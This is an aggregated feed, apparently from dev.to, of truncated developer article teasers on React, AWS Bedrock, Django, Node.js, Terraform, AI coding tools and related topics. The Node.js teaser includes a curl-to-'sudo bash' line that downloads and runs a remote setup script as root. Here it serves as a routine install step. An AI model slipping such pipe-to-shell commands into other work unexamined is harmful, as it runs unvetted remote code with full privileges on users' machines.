    With the release of React 19.2, let's explore in brief how you can leverage the latest React features in your applications. Just a heads up, this blog post is more theory heavy. In case you want to see some working examples, I've linked a video in the references as well as the official documentation so that you can experiment with these features on your own time as well. This is the one that's most exciting and anticipated by people in my opinion. React compiler is a build tool that automatically optimizes your app. Before: review component logic and separate out states or apply memoization manually After: configure in your bundler and see the magic There are some caveats here however. Your app needs to follow Rules of React or the compiler will err on the safe side and choose to not apply…  ( 8 min )
    Introducing Qeltrix V2: High-Performance Content-Derived Encryption with Parallel Processing
    I'm excited to announce the release of Qeltrix V2, a major enhancement to the content-derived encryption container format that brings significant performance improvements and new capabilities while maintaining full backward compatibility with V1 files. Qeltrix is a Proof-of-Concept command-line utility that creates encrypted, compressed data containers with a unique approach: the encryption key is derived directly from the file content itself. This eliminates the need to store or transfer separate encryption keys, making it ideal for secure archival and data obfuscation scenarios. Built on modern cryptography (ChaCha20-Poly1305), parallel processing, and a streaming architecture, Qeltrix handles files of any size efficiently. Version 2 introduces several significant features that improve p…  ( 9 min )
    Ultra Low Bedrock LLM Rate Limits for New AWS Accounts? Time to Wake Up Your Inactive AWS Accounts!
    Are You Struggling With Amazon Bedrock’s Ultra-Low Quotas on New AWS Accounts? 🤯 Are you hitting painfully low rate limits when running LLMs on Amazon Bedrock from a newly created AWS account? You’re definitely not alone — many developers are discovering that new accounts often start with extremely restrictive quotas, sometimes as low as 2 requests per minute. Official guidance usually suggests contacting an account manager to escalate your limits, but for startups, hobby projects, or personal experimentation, that path is far from simple. Since 2024 or maybe 2025, AWS quietly adjusted Bedrock’s default model access for newly created accounts - together with other lower account defaults such as a maximum concurreny of 10 for AWS Lambda. Even when using global endpoints, many fresh accou…  ( 8 min )
    How to Work with Feedback in Prompting: A Live Guide with Examples
    Hello, everyone! We continue our wonderful series of articles on prompting 🤖✨ Today, we will explore four effective feedback prompting techniques that will help you achieve even better results from AI! 🚀 To work with AI as efficiently as possible, experts have developed a range of powerful techniques 🛠️. They were born at the intersection of science, engineering practice, and everyday user experience. ✍️ Explicit Feedback Prompting — open expression of comments and suggestions. 🔄 Iterative Refinement — gradual refinement of responses through multiple iterations. 🧐 Critique and Revision Prompting — the model critiques and improves the results itself. 🧩 RLHF (Reinforcement Learning from Human Feedback) — choosing the best from several options. --- Let's start with a simple yet very e…  ( 9 min )
    Diagrams as Code Just Make Sense
    When I was in college, one of my software engineering class obsessed over UML diagrams. Creating them was painful, especially with the clunky tools available in the late 00s, and it felt like an exercise in frustration more than anything useful. So when I entered the real world and discovered that most teams didn’t make diagrams regularly, I was honestly relieved. But over the years, I realized something: diagrams are incredibly valuable, we just never had tools that made them worth the effort. My last team relied on diagrams for planning, communicating with non-technical stakeholders, and even thinking through refactors. But the visual tools we used were still slow, fiddly, and frustrating. (Looking at you, arrows that refuse to anchor to properly.) Then someone introduced the team to Mer…  ( 8 min )
    10 Claude Code 2.0 Techniques That Turned 3-Week Projects Into 3-Day Sprints
    How I went from ‘barely keeping up’ to shipping production features in hours (no exaggeration) Quick Disclaimer: I’m a paying Claude Code Max subscriber ($200/month). Everything here comes from real production work. Not sponsored — just a CTO who found techniques that genuinely transformed how I ship code. Two months ago, I faced a nightmare project: complete backend API refactor, 50+ files to touch, zero room for cascading failures. Timeline? Three weeks. Team already maxed out.  ( 6 min )
    A Nextjs Website Developer
    https://vebit.app/ Vebit can create a good website (frontend + simple API integration) from a single well-written prompt. Its USP is generating high-quality and high-quantity websites at a lower cost.  ( 6 min )
    The Illusion of Simplicity
    I really like Django. I would pick Django over any other option for setting up a website regardless of expected complexity. In my opinion, if you fully embrace Django, it will allow you to focus on the product and not fight an uphill battle against the computer. I do a bit of freelancing on the side, and it saddens me that I rarely see Django projects in the wild. Wherever I join and I'm lucky enough that it's a Python gig, it's usually Flask or FastAPI. When I ask why, it's usually something along the lines of: "Oh, we don't need Django, it's too complex. We just need a simple API". Yet, they need database access, and ORMs are nice so they brought in SQLAlchemy. And they need user authentication, so they roll their own roles and permissions. And they need JWTs because the frontend is a React app with its own stack. And they need caching so they roll their own. And they need request validation and OpenAPI Javascript client generation so they bring in Pydantic. And of course they need horizontal scalability so they deploy everything on Kubernetes. And then: "We don't need Celery, it's too complex." so they add APScheduler. And then it turns out they do need simple workflows and CPU-heavy processing so they roll their own background task manager. And here I am, looking at this amalgamation of bytes created in the name of simplicity, thinking: "What a poor reimplementation of Django."  ( 6 min )
    How to Build a Powerful & Beginner-Friendly Django Admin
    A Step-by-Step Tutorial Using a Real-World Fundraising Platform Show custom model properties in the list view Let’s build it together! # models.py (simplified) class Fundraiser(models.Model): user = models.ForeignKey(User, on_delete=models.CASCADE, null=True) fundraising_category = models.ForeignKey(FundraisingCategory, ...) short_code = models.CharField(max_length=10, unique=True) is_approved = models.BooleanField(default=False) is_private = models.BooleanField(default=False) status = models.CharField(max_length=20, choices=STATUS_CHOICES, default='active') created_at = models.DateTimeField(auto_now_add=True) @property def raised_amount(self): return self.paystack_transactions.filter(status='success').aggregate( total=Sum('amount') …  ( 9 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less rides the buzz of Wicked’s theater comeback by zooming down the yellow brick road to nitpick every plot hole and quirk in the 1978 classic. True to CinemaSins form, it serves up a fast-paced, tongue-in-cheek breakdown of what’s better (or worse) than you remember. Along the way they drop links to their main site, socials, a fan poll and Patreon, plus a shout-out to the writers, podcast channels and community hubs where you can catch more of their sin-counting antics. Watch on YouTube  ( 6 min )
    NodeJS on Ubuntu: Installation, Setup, and First Steps
    Prerequisites – installing Homebrew and asdf on Ubuntu https://nodejs.org/en/docs Express — Minimalist and flexible framework for creating APIs and HTTP servers with Node.js. Fastify — Fast and efficient framework focused on high performance and low resource consumption. NestJS — Modular and structured framework inspired by Angular, ideal for scalable applications in Node.js. sudo apt update sudo apt install nodejs npm For updated versions, NodeSource is recommended: curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash - sudo apt install -y nodejs brew install node Node uses npm (included by default) or pnpm/yarn optionally. Install pnpm (globally): npm install -g pnpm # add plugin asdf plugin add nodejs https://github.com/asdf-vm/asdf-nodejs.git # import keys bash ~/.asdf/…  ( 9 min )
    Preparing Your Brand for the Next Wave of AI-Driven Content Discovery
    As artificial intelligence continues to redefine how information is created, distributed, and consumed, brands must rethink their approach to digital visibility. The future of online discovery is no longer limited to traditional search engines—AI assistants, generative answer engines, and multimodal platforms are becoming primary entry points for users seeking fast, accurate insights. This shift demands a more holistic, future-ready strategy that emphasizes authority, trustworthiness, and adaptability. (To explore how advanced optimization ties into these trends, see our guide to *LLMO*.) AI-driven tools are rapidly transforming into powerful gateways for information retrieval. Users increasingly rely on conversational platforms, AI-enhanced browsers, and answer engines to summarize, analy…  ( 7 min )
    I just built a Startup / SaaS / business idea generator ( idea-rader.com )
    I just built a startup/SaaS/business idea generator ( 🔗 https://idea-rader.com ) using Google’s AI Studio — and then layered more functionality on top of it to turn it into a full product. Over the last few days, I’ve been experimenting with how far Gemini’s Build workflow can take an idea from prototype → working tool. That’s how Idea-Rader was born — a website where you enter your budget, skills, target audience, domain, strengths, investment capacity, and more… and it generates: 🔍 A personalized startup/SaaS/business idea 🛠️ Tech Stack Used: React + Vite Firebase Auth, Firestore & Hosting Razorpay Payments  ( 7 min )
    How AI Is Empowering Smarter Digital Marketing Strategies
    Artificial intelligence is reshaping the way brands plan, execute, and refine their digital marketing strategies. While many businesses focus on optimizing search performance and enhancing their online presence, AI’s influence extends far beyond SEO alone. From predictive analytics to automated campaign optimization, marketing teams now have access to powerful tools that elevate decision-making and streamline workflows. In this article, we’ll explore how AI is transforming modern digital marketing and why brands that embrace these innovations are gaining a significant competitive advantage. (Related reading: Best AI SEO Tools) Data-driven decisions have always been crucial in marketing, but manual analysis often limits accuracy and speed. AI-powered predictive analytics solves this probl…  ( 7 min )
    Why AI-Native Content Strategies Matter in the Era of Machine-Generated Search
    As AI-driven search tools become the default gateway to online information, content teams are facing a new reality: visibility no longer depends solely on how well a page ranks in traditional search engines. Instead, it increasingly hinges on how effectively AI models can interpret, reuse, and attribute your content within synthesized, conversational answers. This shift is redefining what it means to create content that performs—and it requires thinking far beyond keywords. For years, content writing revolved around balancing two audiences: humans and search engine crawlers. Today, there’s a third audience that sits between them—large language models. These models don’t just index content; they digest it, reinterpret it, and often become the first to explain it to the user. That means your…  ( 7 min )
    Is it time to introduce milkadmin?
    I've been working for some time on a simple, lightweight core admin for PHP. It's a basic administrative environment: login, user & permission management, install and updates. I'm finally ready to talk about it. It's an open-source project I called MilkAdmin. Installation is "the old way", like WordPress: copy it to the server and you're up and running. You get a minimal environment with access to two databases: one for internal configuration (works well with SQLite) and a second one for your application data. I'll keep this short and give a few practical examples. To create a new page (with a menu entry) you just define a module: class CupOfMilk extends AbstractModule Build Calendar Example I make heavy use of PHP attributes to identify actions and methods: #[RequestAction('home')] …  ( 7 min )
    Designing for AI Browsers: When Your User Has a Copilot
    There is a new invisible user in your product. They sit beside your human user, read your pages before they do, summarize your content, click your buttons, and sometimes even buy things or cancel subscriptions for them. That “user” is their browser’s AI. Chrome, Edge, Opera Neon, Perplexity’s Comet, Dia, and friends are turning the browser into a copilot that reads, explains, and acts on behalf of humans. Gemini in Chrome can already help people understand complex pages, find past sites, and is being positioned for more “agentic” tasks like booking appointments. Microsoft’s Edge Copilot will happily summarize whatever page or PDF you are looking at and answer questions about it. Opera’s Neon and Perplexity’s Comet go a step further: they execute tasks inside pages and automate multi-step w…  ( 12 min )
    kubectl-ai WebUI: A Visual Way to Use AI for Kubernetes Troubleshooting
    kubectl-ai WebUI: A Visual Interface for AI-Powered Kubernetes Troubleshooting If you've been experimenting with kubectl-ai for AI-assisted troubleshooting on Kubernetes, you probably know one thing already: It’s powerful, but strictly CLI-based. This creates a real barrier for developers, students, or platform engineers who are less comfortable with command-line workflows but still want to benefit from AI-driven explanations, log analysis, issue hunting and YAML generation. To solve this, I built something new: A WebUI for kubectl-ai, a browser interface that makes AI-assisted Kubernetes troubleshooting accessible to everyone. This article explains what it does, why it helps, and how you can try it out. In short, kubectl-ai is an AI-powered plugin for kubectl that transforms natural-la…  ( 8 min )
    Moving Smarter, Not Faster: How Organization Shapes Great Teams
    After years of working with different teams, one pattern became impossible to ignore: the teams that consistently delivered weren't the ones rushing or pushing harder. The best teams don't move faster, they move smarter. In every project I've seen, chaos doesn't come from bad intentions or weak skills. It comes from a lack of organization. A few years ago, I joined a team that, at first glance, had everything going for them. There was an almost one-year backlog of client customization requests, a full year of work waiting in line: It wasn't because the team was slow or inefficient. It wasn't because the requests were too complex. And, it definitely wasn't because the developers lacked skill. The real issue was simpler, but more damaging: they had no structure to support their effort. Code …  ( 8 min )
    Fast and Furious XXV the Missing Modem.
    It's been awhile coming but we finally got set up with gig internet. Speeds have been ok before but we needed better speed for streaming, gaming, and our number of devices. Tech called shortly before the Dads in Tech meet up. unfortunate the meeting was in middle of the tech's arrival window. I was hoping to join but knew I couldn't cause he would need attention. Hoped it would be a quick install and I could catch the end of the meeting. It was not quick. The tech comes to the door and asks, "Did they ship you modem?" "No." "They were suppose to ship you a modem, an enterprise one." I knew that was wrong. He said "I'll go out to truck call manger then call you in 5 to 10 minutes." While he was in truck I checked the appointment email and texts "Tech will bring modem." So I open a chat …  ( 11 min )
    Managing Zebra Android Devices at Scale: A Practical Guide for Developers & IT Engineers
    If you’ve ever worked with Zebra handhelds, scanners, or rugged Android devices, you already know: they are built for frontline operations, but not always built for easy management. Zebra devices aren’t typical Android phones. Barcode scanning Printer integrations Push-to-talk Battery analytics Hardware keys Advanced security and lockdown modes And this also means: Firmware updates ≠ normal Android OTA App deployment often requires special profiles Device provisioning involves specific Zebra tools Settings aren’t always accessible via native Android APIs When you’re managing 50, 500 or 5,000 devices, doing all this manually isn’t an option. OEMConfig (Zebra-specific configuration over standard Android Enterprise) OEMConfig is one of the biggest unlocks for Android device management. It all…  ( 9 min )
    How To Architect A Feature In 5 Minutes Before Talking To AI
    This post has been originally published on my Substack publication VSL Yesterday I opened my server logs and saw my API costs had spiked for no obvious reason. I was building a new feature and thought I'd be clever. I told the AI: "Just reuse the logic from the other generator." The AI said "Sure!" The UI worked perfectly when I tested it. But I never looked at what was happening underneath. The AI had built something that made three separate calls to my server every time a user clicked one button. The feature worked on my screen, but it was costing me money with every click and making users wait longer than they should. AI Will Make Anything Work Even if It's Wasteful One of the first things you’ll learn building with AI tools is that they'll make anything work on the surface, even if i…  ( 12 min )
    Observability- My New Experience and Beyond
    From AI/ML Background... In this article, I’m trying to jot down my journey, moving from being an AI engineer, living deep in models, data, and drift, to stepping into the world of observability. I’m not going too deep into the transition itself, but more into what I’ve learned about observability: its purpose, where it fits, how to use it, and the stack that actually makes sense in real-world engineering. If you come from AI or ML, you probably think you get monitoring. We keep an eye on pipelines, stare at dashboards, track every metric we can get our hands on. We’re obsessed with recall, precision, AUC, all those numbers that tell us if the model’s still alive. In MLOps, it’s all about performance. Is the model still making sense in the real world? Should we retrain? When do we push t…  ( 10 min )
    The Professor Who Predicted Bitcoin's Flaws and Built a $6B Blockchain to Fix Them
    In 2003—five years before Bitcoin even existed—a Turkish computer science professor published a paper about a digital currency called Karma. It had a distributed mint, peer-to-peer transactions, and solved the free-loader problem. Then in 2013, that same professor published another paper proving that Bitcoin could be attacked by miners controlling just 33% of the network—not the 51% everyone thought was necessary. And then in 2020, he launched Avalanche—a blockchain that raised $42 million in under 5 hours, now processes 6,500 transactions per second (beating Visa), and is valued at nearly $6 billion. That professor? Emin Gün Sirer. And his journey from growing up in Turkey to building one of the fastest blockchains in the world is one of the most fascinating stories in all of crypto. Let …  ( 15 min )
    I Built a VS Code extension called Emoji Eraser. It cleans AI-generated code by removing emojis, debug lines, and AI comments. Sitting at 30 installs. Looking for contributors to help push it further.
    A post by Dabwitso Mweemba  ( 6 min )
    Day 53 of 100 days dsa coding challenge
    Taking on a new challenge: solving GeeksforGeeks POTD daily and sharing my solutions! 💻🔥 Problem: https://www.geeksforgeeks.org/problems/game-of-xor1541/1 Game of XOR Difficulty: Medium Accuracy: 50.77% You are given an integer array arr[]. The value of a subarray is defined as the bitwise XOR of all elements in that subarray. Examples: Solution: class Solution: def subarrayXor(self, arr): n = len(arr) ans = 0 for i in range(n): if ((i + 1) * (n - i)) % 2 == 1: ans ^= arr[i] return ans  ( 6 min )
    Understanding HTTP: The Backbone of Today’s Internet
    If you’ve ever built anything for the web either frontend, backend, APIs, mobile apps or even blockchain dApps, you’ve already interacted with HTTP. It’s the invisible glue that allows devices to talk to each other over the internet. This is my first article in a while and I’m excited to get back to writing again. Work and projects kept me away for a bit but I’m restarting with one of the most fundamental topics in backend development In this article, we’ll break down what HTTP really is, how it works, why it’s stateless and how its versions evolved from HTTP/0.9 all the way to HTTP/3. HTTP (HyperText Transfer Protocol) is a communication protocol used for transferring data between a client (usually the browser) and a server. Every time you open a website, submit a form, fetch API data or …  ( 8 min )
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    We built the first native mobile AI agent and open-sourced it🤯 Priya Negi ・ Nov 18 #ai #programming #cloud #python  ( 6 min )
    ✨Gemini 3 Pro vs GPT 5.1: Which One Codes Better? 🚀
    Gemini 3 Pro just dropped, and it is already getting a lot of attention for its reasoning and long context abilities. But now, the natural question is, "How well does it code?" And does it actually outperform GPT 5.1 Codex, which, in my tests, has been the best so far (better than Claude 4.5 Sonnet) on real tasks? To find out, I put it side by side with GPT 5.1 and tested both models on two fundamental tasks: a UI build and a complete agent workflow. We will go through the results in a moment, but first, let's have a quick TL;DR and a refresher on Gemini 3. If you want a quick take, here is how both models performed in the test: Gemini 3 Pro handled both the UI task and the agent build more cleanly, requiring very few follow-ups. The most significant difference showed up in the agent test…  ( 17 min )
    Code Commenting Convention
    🚀 Introducing CCC: Code Commenting Convention for VS Code Hey developers! 👋 CCC (Code Commenting Convention), a lightweight VS Code extension that helps you write clear, consistent, and meaningful comments across all programming languages. If you've ever struggled with messy comments like: // fix this # maybe change? CCC is here to standardize them. Every tag has a clear meaning, making your code more readable and easier to maintain. ✨ Features Smart Autocomplete: Triggered automatically after comment characters (//, #, /*, etc.) Hover Descriptions: Hover over tags like TODO, FIXME, SECURITY to see their meaning Universal Language Support: Works in JavaScript, Python, HTML, SQL, Bash, and more Zero Configuration: Install and start using immediately Install Here  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters in 16 Minutes or Less is a tongue-in-cheek CinemaSins video tearing into the new K-Pop Demon Hunters flick—packed with their trademark “sins” commentary, a link to the full site, and a cheeky invitation to fill out a poll or support them on Patreon. They also shout out their writing team (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel) with social links, plus community hangouts on Discord and Reddit, and additional follow-along channels like TVSins, CommercialSins, Instagram and TikTok. Watch on YouTube  ( 6 min )
    Deconstructing a Production-Ready AI Agent: A Beginner's Guide - Part 3
    The Secure Factory — Deploying and Operating with Amazon Bedrock AgentCore 3.1 Introduction: The "Prototype vs. Production" Problem In Part 1, we built a secure frontend (React + Cognito + API Gateway). In Part 2, we designed the agent's logic—its "blueprint"—using the Strands SDK. We now have a "prototype" that likely runs on a developer's laptop with a python main.py command. Why can't we just put this Python code on a server (like an Amazon EC2 instance), point our API Gateway at it, and call it "done"? This is the "Prototype vs. Production" gap. As the airline agent example states, "Building a chatbot is easy. Building a production-grade AI agent that can perform real-world tasks securely and at scale is incredibly hard". To go to production, we must first solve a "mountain of engine…  ( 10 min )
    Building Composable RLS: Enterprise Data Security on Autopilot
    Enterprise applications require rigorous data integrity and security, but manually implementing these cross-cutting concerns is error-prone. This post, the (almost) final in our series on building an automated Data Access Layer (DAL), focuses on implementing the most challenging requirement: Row-Level Security (RLS). We build upon our existing system of composable global query filters, extending it to enforce entity-based RLS automatically. This means a developer writes a simple query, and the DAL guarantees that only records accessible to the current user are returned, even for complex joins. IProtected To enable this, we update our IDbCtx to carry the authenticated user's Ulid? UserId. A key security choice is to adopt a "fail-closed" stance: if UserId is null, the query will be filter…  ( 8 min )
    Integrating Campaign Monitor Smart Emails (Transactional) — Minimal Guide
    This short guide describes a minimal, robust integration pattern for sending Campaign Monitor Smart (transactional) emails from a .NET application. It documents practical pitfalls and how the example CampaignMonitorService addresses them. Note: all examples below use placeholders (no real API keys, email addresses, or list IDs). Campaign Monitor uses Basic Auth for all API calls. Use the API key as the username and any non-empty string (for example x) as the password. There is no separate transactional API key; the same key used for classic APIs also works for transactional Smart Email endpoints. Example header (curl style): # placeholder values API_KEY= SMART_ID= curl -u "$API_KEY:x" \ -H "Content-Type: application/json" \ -d '{"To":["<recipient_pla…  ( 8 min )
    The Secret Life of JavaScript Objects: Flags and Descriptors
    Most of us learn JavaScript objects like this: const user = { name: "John", age: 30 }; It looks simple. A key, a value. Done. But what if I told you that every property in an object has hidden settings? What if you wanted to create a property that cannot be deleted? Or a property that is invisible to loops? Or a value that is read-only, like Math.PI? Welcome to the world of Property Flags and Descriptors. This is how you take off the training wheels and gain full control over your objects. Imagine a file on your computer. It has content, but it also has attributes: Read-only, Hidden, or System file. JavaScript object properties work the same way. Besides the value, every property has three special "flags" (attributes) that are usually set to true by default: writable: If true, the va…  ( 8 min )
    Cognitive Load: The Invisible UX Killer
    When users struggle with your product, it's easy to assume the problem is with them. Maybe they’re “not tech-savvy” or just didn’t “get it.” But more often than not, the issue isn’t the user, it’s the cognitive effort your product is demanding. In UX terms, this is called cognitive load, and it’s one of the most overlooked reasons why users drop off, get frustrated, or never come back. It’s not loud or obvious, but when it’s high, it quietly sabotages the entire experience. Let’s unpack what it means, how it shows up in real products, and how to design around it. Cognitive load refers to the total amount of mental effort being used in our working memory. Every time someone interacts with a digital product, they’re juggling a few things in their head: What they’re trying to achieve (their g…  ( 10 min )
    Effectiveness of traditional and LLM-based methods for web scraping
    Web scraping in 2025 sits at an interesting crossroads. Traditional tools are still widely used and capable, but maintaining large scraping pipelines has become more demanding. Layouts change frequently, defensive systems are being improved, and HTML adjustments that break parsers are implemented faster than before. At the same time, AI-driven techniques are maturing. Large language models (LLM) don’t replace the fundamentals of crawling, but they do change how we interpret page content and handle structured extraction. According to a 2025 McKinsey research, companies adopting generative AI jumped from 33% to 71% in a single year. Scraping is one of the areas where this shift was expected. More teams explore web scraping LLM methods and AI data scraping to reduce manual maintenance. GenAI…  ( 10 min )
    Multi-Cloud Strategy: When and How to Go Multi-Cloud
    Introduction Every few months, another major cloud outage makes headlines. AWS us-east-1 goes down, taking half the internet with it. A misconfigured Azure deployment affects thousands of customers. These incidents fuel the multi-cloud narrative: "Don't put all your eggs in one basket." But multi-cloud comes with significant costs—complexity, operational overhead, and often higher expenses. While some organizations genuinely benefit from multi-cloud, many adopt it for the wrong reasons and regret the decision. In this comprehensive guide, we'll explore when multi-cloud makes sense, when it doesn't, and how to implement it successfully if you truly need it. Multi-cloud means using services from multiple cloud providers (AWS, Azure, GCP) for production workloads. It's important to distingu…  ( 14 min )
    🐍 Building an FX Trading Edge: Creating a Python Client for the FXMacroData API
    When building a Python library, the goal is to turn a complex, boilerplate-heavy process (raw API calls) into a simple, elegant one-liner. The FXMacroData API provides real-time macroeconomic indicators for major currency pairs—a goldmine for quant traders and analysts. Raw API calls force developers to repeat code for authentication, error checking, and URL construction. Embracing the DRY (Don't Repeat Yourself) principle, I set out to build a dedicated Python library on top of it, creating a user-friendly wrapper. This article walks you through the core components of that wrapper, covering synchronous and asynchronous clients, proper exception handling, and utility functions. A good library starts with an intuitive entry point. My goal was to turn an HTTP request into a clean Python meth…  ( 8 min )
    I Built My DevOps Portfolio on a Killercoda Ubuntu Playground — And It Transformed My Learning
    Why Every DevOps Engineer Should Deploy Their First Portfolio on Killercoda Most DevOps tutorials begin with AWS, GCP, or Kubernetes. But here’s my honest advice: Start with Killercoda’s Ubuntu playground instead. 🔗 https://killercoda.com/playgrounds/scenario/ubuntu I recently deployed my full DevOps portfolio website using nothing but this environment and Nginx — and it was one of the most valuable hands-on exercises I’ve done. Here is the live server running my site: 🔗 https://411913816ee7-10-244-13-238-80.spch.r.killercoda.com/ When you deploy on Killercoda, you learn the fundamentals that cloud providers hide behind fancy panels: creating and securing directories Configuring Nginx from scratch troubleshooting server errors managing processes manually deploying changes without automation crutches It’s the closest experience to running a real Linux server — without paying for one. If you're a beginner DevOps engineer or trying to build confidence: Forget the cloud for a moment. Deploy something raw. Learn the ground truth. Your terminal will become your greatest teacher.  ( 6 min )
    Working 30% on a 100% Job: What I Learned as a Solo Developer
    There’s something I wish more employers understood — something I didn’t fully have the words for until I lived through it myself: when a developer says the work requires a full-time position, they’re not exaggerating. They’re telling you what it actually takes to build the thing you’re asking for. I learned that lesson from the inside, as the developer whose role didn’t match the expectations placed on it. Stepping into a system built on shaky ground A while back, I joined a small Norwegian company as their only developer. They handled services related to cemeteries and memorials, and they had a system that had grown organically over the years. The database was… let’s say “creatively structured,” and every architectural decision seemed to lean in a different direction. I wanted to do goo…  ( 8 min )
    Como Estruturei um Template de AWS Lambda com Terraform e GitHub Actions
    Recentemente, desenvolvi um template reutilizável para aplicações AWS Lambda em Python, integrando infraestrutura como código via Terraform e automação de CI/CD com GitHub Actions. Neste artigo, compartilho minha experiência, decisões de arquitetura e exemplos práticos para quem deseja acelerar projetos serverless na AWS. A necessidade de padronizar e acelerar entregas de funções Lambda me levou a criar um template que pudesse ser facilmente adaptado para diferentes projetos. O objetivo era garantir segurança, rastreabilidade e facilidade de manutenção, sem depender de nomes de empresas ou clientes. A estrutura que utilizei foi a seguinte: . ├── app/ │ └── handler.py # Código da Lambda ├── infra/ │ └── terraform/ │ ├── main.tf # Infra principal │ ├─…  ( 8 min )
    Como Provisionar Infraestrutura AWS MediaConvert com Terraform
    Introdução Recentemente, trabalhei em um projeto que envolvia o processamento de vídeos em escala na nuvem. Precisávamos de uma solução robusta para converter vídeos automaticamente, e o AWS MediaConvert se mostrou perfeito para isso. No entanto, configurar toda a infraestrutura necessária – filas, roles IAM, templates de job e logs – pode ser complexo. Decidi usar Terraform para automatizar tudo, criando uma infraestrutura como código que pudesse ser reutilizada em diferentes ambientes. Neste artigo, vou compartilhar minha experiência implementando essa infraestrutura. Vou explicar passo a passo como provisionar os recursos essenciais do MediaConvert usando Terraform, desde a configuração inicial até o deploy. O foco é em uma abordagem prática, com exemplos de código e dicas para evitar…  ( 9 min )
    Choosing the Right Debugging and Session Replay Tool - Multiplayer vs LogRocket, Sentry, Datadog, and FullStory
    When people report bugs or performance problems, developers need more than logs and metrics; they need context. That’s where debugging and session replay tools enter the picture. These platforms log users' interactions, console logs and network activity, giving teams a window into what really happened before the error occurred. Some popular tools like LogRocket, Sentry, Datadog and FullStory have already established themselves as essential in modern product teams. They give companies the ability to issue track, and this results in better user experiences and the alignment of engineering with design. But a new player in the space, Multiplayer, is betting on developer-first debugging and visibility, which is based around live collaboration, rich context and without any vendor lock-in. This a…  ( 14 min )
    NORTXZchan.com
    Check out this Pen I made!  ( 5 min )
    Opsfolio - From Interview Task to Production: Building a Security-First DevSecOps Platform
    From Interview Task to Production: Building a Security-First DevSecOps Platform TL;DR The Assignment: Deploy a simple app to local Kubernetes What I Built: A production-grade DevSecOps platform with 6-layer security scanning, FinOps cost tracking, GitOps automation, and complete observability Result: "Opsfolio" - A hands-on demonstration of how I approach real-world infrastructure challenges 🔗 View the complete repository The Challenge The Approach Security Architecture FinOps: Cost Intelligence Automation & GitOps Technical Implementation Results & Metrics Key Takeaways The interview assignment was straightforward: ✅ Set up a local Kubernetes cluster (kind/minikube/k3s) ✅ Create a Dockerfile ✅ Deploy an application ✅ Bonus: IaC, GitOps, semantic versioning Simple enough. Bu…  ( 10 min )
    Why n8n Become Popular in Oracle Cloud: Top Reasons Behind This Rapid Growth (2025 Guide)
    If you've been exploring modern automation tools, you might have noticed that n8n become popular in Oracle Cloud faster than almost any other platform. This isn’t random—it's a logical result of combining a powerful, open-source automation tool with one of the most cost-efficient cloud infrastructures available today. This guide breaks down all the reasons behind this rising trend, explains the technical benefits, and walks you through how businesses and developers are leveraging the n8n-OCI pairing. Understanding n8n and Its Growing Ecosystem n8n is an open-source workflow automation platform that allows users to connect apps, APIs, and backend operations without writing tons of code. Its visual editor makes it extremely simple to build powerful data flows, automate repetitive tasks, or i…  ( 8 min )
    Online Job Application
    Check out this Pen I made!  ( 5 min )
    🌱 Learning to Build With AI Is Powerful, But Sometimes Can Be Overwhelming
    `AI tools today are incredible. But while building real projects with AI, I kept noticing something subtle: It wasn’t a flaw in AI, it was a gap in how we use it. 🧩 The Quiet Problem Developers Face: AI can write code brilliantly. When you’re trying to grow as a developer, you need: And that’s why many developers tell me: “AI helps me code but I still don’t feel confident. Yet guilty or the AI is doing it for me” 🔥 The Question That Led Me to Build PIYE I asked myself: “What if AI could guide me like a mentor, not just assist me like a tool?” Not replacing learning. Something that could: That idea turned into PIYE, an AI mentor built for learning and building together. 🛠️ What PIYE Focuses On PIYE Mentor, Guidance With Clarity: PIYE doesn’t overwhelm you with long answers. More like a calm, patient senior dev. PIYE Studio, Learn the Thinking, Not Just the Code: Studio helps you develop core skills: It’s about building confidence, not shortcuts. I’d Love to Hear From You If you’re a beginner, junior dev, or self-taught: What part of building with AI feels the most unclear? Your feedback genuinely shapes PIYE’s future. 🙏 If You’re Curious Here’s the project: https://www.piye.dev But more importantly, I’d love to hear your experiences in the comments. Thanks for reading ❤️ Building with AI is still new for all of us, your perspective truly matters. `  ( 7 min )
    Beginning My Journey to Become a Full-Stack AI Web Developer & AI Engineer
    A longform introduction to my learning-in-public path I’m starting something long-term, challenging, and ambitious: building the skills to become a full-stack web developer and AI engineer from the ground up. My background isn’t in computer science—I completed 12th-grade PCB—so this is a complete transition into software development. I’m documenting the entire process publicly to create accountability, measure my progress, and eventually build a transparent, verifiable portfolio of work. My motivations are simple and practical: Accountability: Publishing my progress forces me to stay consistent and disciplined over months, not days. Clarity: Writing publicly helps me understand what I’m learning and why. Transparency: I want a portfolio that doesn’t just show final projects but the proce…  ( 9 min )
    Job Profit Calculator
    Check out this Pen I made!  ( 5 min )
    A look at Aikido's first launch on Product Hunt
    ⁠#1 Product of the Day and #1 Developer Tool of the Month: Aikido Security first launched on Product Hunt last month, and they crushed it. Tagline, visual assets, community engagement... Here's a breakdown of what they did right and how to apply it to your launch. Full disclosure: If this was Aikido's first launch on Product Hunt, the team does have previous launch experiences. In fact, they launched Opengrep last February and ranked #5 Product of the Day. Nailed the tagline. The most important part of a launch? These 60 characters are the first thing you read on the front page. "Secure everything you build, host, and run." Simple, relatable, straight-to-the-point. Polished the visual assets. Underrated: The image gallery. It tells your story, visually. It starts with an intro, i.e. the OG image. IMHO It should finish with an end, i.e. your call-to-action. Nailed it. Engaged with the community. They added a first, short comment to get the discussion started. They also upvoted and replied to every comment. How to apply this to your launch Keep the tagline simple and relatable Show the product in your image gallery Engage with the community thoughtfully Over to you! What are your key learnings from your previous launches? What worked, what didn't work from your perspective?  ( 6 min )
    Cron Jobs vs Real Task Schedulers: A Love Story
    Hey folks. I know, I know, another long post. But if you've been following Today's about task scheduling. Specifically, about a problem I've spent way too much time solving in production. You know that feeling when your startup grows from handling hundreds of tasks to millions, and suddenly your "simple cron job solution" is costing you thousands in Redis memory? Yeah, I've been there. Today I want to walk through building a proper task scheduler – the kind that companies like Stripe, Airbnb, and Uber actually use in production. Not the toy examples you see in tutorials, but something you can actually deploy on Friday and sleep well over the weekend. The Problem with Traditional Cron Why Big Tech Uses a Two-Tier Architecture The Architecture We're Building Understanding the Queue Layer Th…  ( 21 min )
    Day-02 Terraform AWS Provider
